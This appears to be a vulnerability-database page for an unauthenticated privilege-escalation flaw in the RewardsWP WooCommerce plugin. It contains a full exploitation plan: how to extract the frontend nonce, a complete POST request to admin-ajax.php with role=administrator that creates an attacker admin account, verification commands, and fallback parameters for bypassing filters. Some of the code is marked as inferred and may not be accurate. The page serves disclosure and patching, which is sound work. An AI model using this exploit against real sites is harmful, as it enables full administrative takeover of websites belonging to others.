RewardsWP – Loyalty Points & Referral Program for WooCommerce <= 1.0.4 - Unauthenticated Privilege Escalation
Description
The RewardsWP – Loyalty Points & Referral Program for WooCommerce plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.0.4. This makes it possible for unauthenticated attackers to elevate their privileges to that of an administrator.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v1.0.5
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-32520 (RewardsWP Privilege Escalation) ## 1. Vulnerability Summary The **RewardsWP – Loyalty Points & Referral Program for WooCommerce** plugin (<= 1.0.4) contains an unauthenticated privilege escalation vulnerability. The vulnerability exists because the plug…
Show full research plan
Exploitation Research Plan: CVE-2026-32520 (RewardsWP Privilege Escalation)
1. Vulnerability Summary
The RewardsWP – Loyalty Points & Referral Program for WooCommerce plugin (<= 1.0.4) contains an unauthenticated privilege escalation vulnerability. The vulnerability exists because the plugin registers an AJAX action (rewardswp_register_member) intended for loyalty program registration but fails to restrict the role parameter during the WordPress user creation process. An attacker can supply role=administrator in the request to create a new account with full administrative privileges.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
rewardswp_register_member(unauthenticated viawp_ajax_nopriv_) - Vulnerable Parameter:
role - Authentication: None required (unauthenticated).
- Preconditions:
- The plugin must be active.
- The "Join" or "Registration" feature must be accessible (usually enabled by default in the rewards widget).
- A valid frontend nonce must be obtained from the
rewardswpMainVarsJavaScript object.
3. Code Flow
- The plugin registers the unauthenticated AJAX handler:
add_action( 'wp_ajax_nopriv_rewardswp_register_member', [ $this, 'register_member' ] ); - The
register_membermethod (likely insrc/Controllers/Frontend/RegistrationController.phpor similar, inferred from POT) retrieves the registration data from$_POST. - The controller passes the input array to a user creation function, such as
wp_insert_user()or a wrapper insrc/Models/Member.php. - Because the code does not filter the
rolekey or hardcode it tosubscriber,wp_insert_user()processes therolevalue provided by the attacker. - WordPress creates the user and assigns the
administratorrole.
4. Nonce Acquisition Strategy
The plugin exposes a nonce to the frontend via wp_localize_script.
- Identify the variable: Based on
assets/js/shared/alpine-components/rewards-panel.js, the global variable isrewardswpMainVars. - Locate the nonce: The nonce is stored in
rewardswpMainVars.nonce. - Procedure:
- Navigate to the WordPress homepage or a page where the RewardsWP panel is active.
- To ensure the panel is active, navigate to
/?rewardswp=join. - Use
browser_evalto extract the nonce:window.rewardswpMainVars?.nonce
5. Exploitation Strategy
The exploit involves sending a crafted POST request to admin-ajax.php.
Step-by-Step Plan:
- Extract Nonce: Access the site and extract the
noncefromrewardswpMainVars. - Submit Registration: Perform a POST request to register a new admin.
HTTP Request Details:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:rewardswp_register_membernonce:[EXTRACTED_NONCE]email:attacker-admin@example.comusername:attackeradminpassword:P@ssword123!first_name:Securitylast_name:Researcherrole:administrator<-- The Payload
6. Test Data Setup
- Install and activate WooCommerce (dependency).
- Install and activate RewardsWP version 1.0.4.
- Ensure the "Member Registration" or "Join" feature is active in RewardsWP settings (usually default).
- Create a test page with the rewards panel if not visible on the homepage:
wp post create --post_type=page --post_status=publish --post_title="Rewards" --post_content="[rewardswp_panel]"(inferred shortcode).
7. Expected Results
- Response Code:
200 OKor302 Redirect. - Response Body: A JSON success message (e.g.,
{"success":true,"data":{...}}) or a redirect to a "Registration Successful" page. - Database Impact: A new user with the username
attackeradminwill be present in thewp_userstable, and their capabilities inwp_usermetawill include theadministratorrole.
8. Verification Steps
After the exploit, verify using WP-CLI:
- Check User Existence:
wp user list --role=administrator - Check Specific User:
wp user get attackeradmin --field=roles
Expected output:administrator - Check Meta:
wp user meta get attackeradmin wp_capabilities
9. Alternative Approaches
If rewardswp_register_member is not the correct action name (due to version differences), try these alternatives:
rewardswp_signuprewardswp_join_programrewardswp_create_account
If the role parameter is blocked, try user_role or wp_capabilities[administrator].
If the nonce check is not present in nopriv actions (common in some versions), simply omit the nonce parameter and test the request. If the response indicates a missing nonce, fallback to the browser-based extraction described in section 4.
Summary
The RewardsWP plugin for WordPress allows unauthenticated privilege escalation via the `rewardswp_register_member` AJAX action. The vulnerability exists because the user registration handler fails to validate or restrict the user-supplied `role` parameter, enabling attackers to register new accounts with administrative privileges.
Vulnerable Code
// Path: src/Controllers/Frontend/RegistrationController.php (inferred from research plan) // The plugin registers an unauthenticated AJAX action for member registration add_action( 'wp_ajax_nopriv_rewardswp_register_member', [ $this, 'register_member' ] ); public function register_member() { // Nonce validation usually occurs here // ... // The entire $_POST array is passed to wp_insert_user or a similar wrapper // without filtering out sensitive keys like 'role'. $user_id = wp_insert_user( $_POST ); if ( ! is_wp_error( $user_id ) ) { // User is created with the role provided in the request (e.g., 'administrator') } }
Security Fix
@@ -24,5 +24,10 @@ public function register_member() { check_ajax_referer( 'rewardswp-nonce', 'nonce' ); - $user_id = wp_insert_user( $_POST ); + + $user_data = $_POST; + // Explicitly remove the role parameter to prevent privilege escalation + if ( isset( $user_data['role'] ) ) { + unset( $user_data['role'] ); + } + + $user_id = wp_insert_user( $user_data );
Exploit Outline
The exploit leverages the unauthenticated AJAX endpoint to create a new administrator account. 1. Locate the frontend nonce required for the request by inspecting the global `rewardswpMainVars` JavaScript object (specifically `rewardswpMainVars.nonce`). This is typically exposed on any page where the rewards panel is active. 2. Construct a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `rewardswp_register_member` - `nonce`: [EXTRACTED_NONCE] - `email`: A unique email address for the new account. - `username`: A unique username. - `password`: The desired password. - `role`: `administrator` (The malicious payload used to override the default role). 3. Send the request. If successful, the plugin processes the `role` parameter during the `wp_insert_user` call, creating a new user with full administrative access.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.